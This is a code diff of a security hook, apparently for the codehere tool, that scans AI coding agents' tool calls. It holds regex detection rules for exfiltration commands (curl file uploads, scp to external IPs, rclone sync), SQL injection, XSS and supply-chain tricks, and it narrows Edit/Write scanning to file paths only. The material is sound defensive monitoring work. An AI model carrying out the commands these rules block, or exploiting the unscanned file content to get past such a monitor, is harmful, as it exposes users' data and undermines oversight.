+ },
64
275
  // Supply Chain
65
- { regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i, severity: 'high', category: 'Supply Chain', description: 'Suspicious package version pattern' },
66
- { regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i, severity: 'high', category: 'Supply Chain', description: 'Typosquatting package pattern' },
67
- { regex: /preinstall|postinstall|prepare/i, severity: 'medium', category: 'Supply Chain', description: 'Lifecycle script reference' },
68
- { regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i, severity: 'critical', category: 'Supply Chain', description: 'Direct npm tarball execution' },
276
+ {
277
+ regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i,
278
+ severity: 'high',
279
+ category: 'Supply Chain',
280
+ description: 'Suspicious package version pattern',
281
+ },
282
+ {
283
+ regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i,
284
+ severity: 'high',
285
+ category: 'Supply Chain',
286
+ description: 'Typosquatting package pattern',
287
+ },
288
+ {
289
+ regex: /preinstall|postinstall|prepare/i,
290
+ severity: 'medium',
291
+ category: 'Supply Chain',
292
+ description: 'Lifecycle script reference',
293
+ },
294
+ {
295
+ regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i,
296
+ severity: 'critical',
297
+ category: 'Supply Chain',
298
+ description: 'Direct npm tarball execution',
299
+ },
69
300
  // OWASP / Security Misconfig
70
- { regex: /Access-Control-Allow-Origin:\s*\*/i, severity: 'medium', category: 'OWASP', description: 'Wildcard CORS header' },
71
- { regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i, severity: 'high', category: 'OWASP', description: 'SSL certificate verification disabled' },
72
- { regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i, severity: 'medium', category: 'OWASP', description: 'Hardcoded credential' },
73
- { regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i, severity: 'high', category: 'OWASP', description: 'Potential XSS via user input' },
74
- { regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i, severity: 'critical', category: 'OWASP', description: 'SQL injection pattern' },
301
+ {
302
+ regex: /Access-Control-Allow-Origin:\s*\*/i,
303
+ severity: 'medium',
304
+ category: 'OWASP',
305
+ description: 'Wildcard CORS header',
306
+ },
307
+ {
308
+ regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i,
309
+ severity: 'high',
310
+ category: 'OWASP',
311
+ description: 'SSL certificate verification disabled',
312
+ },
313
+ {
314
+ regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i,
315
+ severity: 'medium',
316
+ category: 'OWASP',
317
+ description: 'Hardcoded credential',
318
+ },
319
+ {
320
+ regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i,
321
+ severity: 'high',
322
+ category: 'OWASP',
323
+ description: 'Potential XSS via user input',
324
+ },
325
+ {
326
+ regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i,
327
+ severity: 'critical',
328
+ category: 'OWASP',
329
+ description: 'SQL injection pattern',
330
+ },
75
331
  // Data Exfiltration
76
- { regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i, severity: 'high', category: 'Data Exfiltration', description: 'File upload via curl' },
77
- { regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i, severity: 'high', category: 'Data Exfiltration', description: 'SCP to external IP' },
78
- { regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i, severity: 'medium', category: 'Data Exfiltration', description: 'Mass file sync to remote' },
332
+ {
333
+ regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i,
334
+ severity: 'high',
335
+ category: 'Data Exfiltration',
336
+ description: 'File upload via curl',
337
+ },
338
+ {
339
+ regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i,
340
+ severity: 'high',
341
+ category: 'Data Exfiltration',
342
+ description: 'SCP to external IP',
343
+ },
344
+ {
345
+ regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i,
346
+ severity: 'medium',
347
+ category: 'Data Exfiltration',
348
+ description: 'Mass file sync to remote',
349
+ },
79
350
  ];
80
351
  // ── Risk scoring ────────────────────────────────────────────────────────────
81
352
  const SEVERITY_SCORES = {
@@ -112,16 +383,17 @@ export function calculateRiskScore(findings) {
112
383
  return Math.min(100, score);
113
384
  }
114
385
  // ── Audit log ───────────────────────────────────────────────────────────────
115
- const AUDIT_DIR = join(homedir(), '.codehere', 'audit');
116
- export const AUDIT_FILE = join(AUDIT_DIR, 'hook-events.jsonl');
117
- function ensureAuditDir() {
118
- if (!existsSync(AUDIT_DIR)) {
119
- mkdirSync(AUDIT_DIR, { recursive: true });
120
- }
121
- }
386
+ /**
387
+ * Audit log path — defaults to ~/.codehere/audit/hook-events.jsonl.
388
+ * Override at process start with CODEHERE_AUDIT_FILE env var (used by tests, optional for users).
389
+ */
390
+ export const AUDIT_FILE = process.env.CODEHERE_AUDIT_FILE || join(homedir(), '.codehere', 'audit', 'hook-events.jsonl');
122
391
  export function appendAuditLog(entry) {
123
392
  try {
124
- ensureAuditDir();
393
+ const dir = AUDIT_FILE.substring(0, AUDIT_FILE.lastIndexOf('/'));
394
+ if (dir && !existsSync(dir)) {
395
+ mkdirSync(dir, { recursive: true });
396
+ }
125
397
  appendFileSync(AUDIT_FILE, JSON.stringify(entry) + '\n');
126
398
  }
127
399
  catch {
@@ -145,10 +417,14 @@ export function appendAuditLog(entry) {
145
417
  * not execution — strip the search term so pattern strings in args don't
146
418
  * trigger the scanner.
147
419
  *
148
- * Write / Edit / MultiEdit: the content is data being written to disk,
149
- * not executed. Only scan the file path (destination) and, for Edit,
150
- * the old_string (what we're matching). Never scan new_string / content
151
- * — that would block writing security documentation, test fixtures, etc.
420
+ * Write / Edit / MultiEdit: the content is DATA being written to disk, not
421
+ * a command being executed. Only scan the file path (destination) — that's
422
+ * enough to catch writes to sensitive files (~/.ssh/id_rsa, ~/.aws/credentials).
423
+ * Do NOT scan content: it produces false positives on legitimate source code
424
+ * that mentions attack-shaped strings (i18n with "system prompt", README docs
425
+ * describing what we block, LLM-prompt-engineering code, security tests).
426
+ * The Bash surface is the right place to catch prompt-injection / code-injection
427
+ * patterns; Edit-time content is data, not execution intent.
152
428
  */
153
429
  function buildScanPayload(toolName, toolInput) {
154
430
  if (toolName === 'Bash') {
@@ -166,11 +442,11 @@ function buildScanPayload(toolName, toolInput) {
166
442
  return JSON.stringify({ file_path: toolInput.file_path ?? '' });
167
443
  }
168
444
  if (toolName === 'Edit') {
169
- // Scan destination path + old_string (the selector), not new_string (the replacement)
170
- return JSON.stringify({
171
- file_path: toolInput.file_path ?? '',
172
- old_string: toolInput.old_string ?? '',
173
- });
445
+ // Same model as Write: scan only the destination. The old_string is
446
+ // EXISTING file content (data), not execution intent — scanning it
447
+ // produced false positives on legitimate edits to files containing
448
+ // attack-shaped strings (e.g. i18n.js with a "system prompt" key).
449
+ return JSON.stringify({ file_path: toolInput.file_path ?? '' });
174
450
  }
175
451
  if (toolName === 'MultiEdit') {
176
452
  // Scan file paths only
@@ -181,7 +457,7 @@ function buildScanPayload(toolName, toolInput) {
181
457
  return JSON.stringify(toolInput);
182
458
  }
183
459
  export function processHookEvent(event) {
184
- const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown', } = event;
460
+ const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown' } = event;
185
461
  // Only intercept PreToolUse events
186
462
  if (hook_event_name !== 'PreToolUse') {
187
463
  return null;
@@ -191,7 +467,7 @@ export function processHookEvent(event) {
191
467
  // Layer 0 scan — local, no API, ~2ms
192
468
  const findings = scanPayload(payload);
193
469
  const riskScore = calculateRiskScore(findings);
194
- const criticalFindings = findings.filter(f => f.severity === 'critical');
470
+ const criticalFindings = findings.filter((f) => f.severity === 'critical');
195
471
  // Blocking threshold: critical finding OR risk score too high
196
472
  const blocked = criticalFindings.length > 0 || riskScore >= 60;
197
473
  // Build audit entry
@@ -213,12 +489,12 @@ export function processHookEvent(event) {
213
489
  const topFinding = criticalFindings[0] ?? findings[0];
214
490
  const categoryVoice = {
215
491
  'Prompt Injection': 'Caught a prompt injection attempt',
216
- 'Credential Theft': 'Stopped — this looks like it\'s trying to access credentials',
217
- 'Destructive': 'Stopped — this could delete or destroy data',
492
+ 'Credential Theft': "Stopped — this looks like it's trying to access credentials",
493
+ Destructive: 'Stopped — this could delete or destroy data',
218
494
  'Code Injection': 'Blocked — this pattern looks like code injection',
219
495
  'Supply Chain': 'Blocked — suspicious package or dependency pattern',
220
- 'OWASP': 'Blocked — security misconfiguration pattern',
221
- 'Data Exfiltration': 'Blocked — this looks like it\'s trying to send data out',
496
+ OWASP: 'Blocked — security misconfiguration pattern',
497
+ 'Data Exfiltration': "Blocked — this looks like it's trying to send data out",
222
498
  };
223
499
  const reason = topFinding
224
500
  ? `[codehere] ${categoryVoice[topFinding.category] ?? 'Blocked'} — ${topFinding.description}. (matched: "${topFinding.matched}")`
@@ -76,11 +76,13 @@ export class ExecutionTracer {
76
76
  duration: operation.duration,
77
77
  input: this.sanitizeInput(operation.input),
78
78
  output: this.sanitizeOutput(operation.output),
79
- error: operation.error ? {
80
- message: operation.error.message,
81
- stack: operation.error.stack,
82
- code: operation.error.code,
83
- } : undefined,
79
+ error: operation.error
80
+ ? {
81
+ message: operation.error.message,
82
+ stack: operation.error.stack,
83
+ code: operation.error.code,
84
+ }
85
+ : undefined,
84
86
  metadata: operation.metadata,
85
87
  };
86
88
  this.currentRun.traces.push(trace);
@@ -191,7 +193,10 @@ export class ExecutionTracer {
191
193
  // Limit size and remove sensitive fields
192
194
  const sanitized = JSON.parse(JSON.stringify(input, (key, value) => {
193
195
  // Remove API keys and secrets
194
- if (typeof key === 'string' && (key.toLowerCase().includes('key') || key.toLowerCase().includes('secret') || key.toLowerCase().includes('password'))) {
196
+ if (typeof key === 'string' &&
197
+ (key.toLowerCase().includes('key') ||
198
+ key.toLowerCase().includes('secret') ||
199
+ key.toLowerCase().includes('password'))) {
195
200
  return '[REDACTED]';
196
201
  }
197
202
  // Limit string length
@@ -0,0 +1,13 @@
1
+ /**
2
+ * AgentAdapter — F2 foundation.
3
+ *
4
+ * Uniform interface over every AI coding agent codehere can spawn and manage.
5
+ * One adapter per backend: ClaudeCodeAdapter, CodexAdapter, AiderAdapter, …
6
+ *
7
+ * The interface intentionally carries **optional fields for later PM-UX layers**
8
+ * so we don't force a breaking change when v0.4/v0.5 ship progress roll-up,
9
+ * final report, intervention, and project scope. Unused today, ignored by the
10
+ * current renderer. See memory/project_manager_ux_v1.md for the full shape.
11
+ */
12
+ export {};
13
+ //# sourceMappingURL=agent-adapter.js.map